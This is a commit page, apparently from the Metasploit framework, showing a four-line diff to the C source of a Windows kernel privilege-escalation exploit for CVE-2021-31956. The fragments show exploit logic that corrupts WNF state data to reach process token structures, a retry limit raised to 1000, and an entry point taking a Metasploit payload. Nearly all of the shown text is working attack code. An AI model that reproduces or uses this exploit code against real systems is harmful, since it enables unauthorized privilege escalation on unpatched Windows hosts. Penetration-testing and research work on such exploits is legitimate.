fix 0xc0000023!

rapid7 · Jan 21, 2022 · 31d57e7 · 31d57e7
1 parent 108795c
commit 31d57e7
Showing 1 changed file with 4 additions and 4 deletions.
diff --git a/external/source/exploits/CVE-2021-31956/CVE-2021-31956/dllmain.c b/external/source/exploits/CVE-2021-31956/CVE-2021-31956/dllmain.c
@@ -757,8 +757,8 @@ NTSTATUS EnumProcessEprocess(PWNF_STATE_NAME StateName, PUCHAR Buff)
 		UINT64 token =  GetProcessToken(*(PULONGLONG)&(NameIns->StateName));
 
 
-		UCHAR tokenBuff[0x5000] = { 0 };
-		ULONG tokenBufferSize = 0x5000;
+		UCHAR tokenBuff[0x6000] = { 0 };
+		ULONG tokenBufferSize = 0x6000;
 
 		NameIns->StateData = (struct _WNF_STATE_DATA*)(eProcess + TOKEN_OFFSET);
 		state = OverStateData(StateName, Buff);
@@ -847,7 +847,7 @@ INT exploit(PMSF_PAYLOAD msfPayload)
 	}
 
 RE_TRY:
-	if (Count++ > 1)
+	if (Count++ > 1000)
 	{
 		dprintf("exploit failed!");
 		goto PAUSE;
@@ -866,7 +866,7 @@ INT exploit(PMSF_PAYLOAD msfPayload)
 		if (StateNames[i].Data[0] == 0 && StateNames[i].Data[1] == 0)
 			continue;
 		NTSTATUS state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &Stamp, &Buff, &BufferSize);
-		if (state == 0xc0000023)
+		if (state == STATUS_BUFFER_TOO_SMALL)
 		{
 
 			BufferSize = OVER_STATEDATA_LENGTH;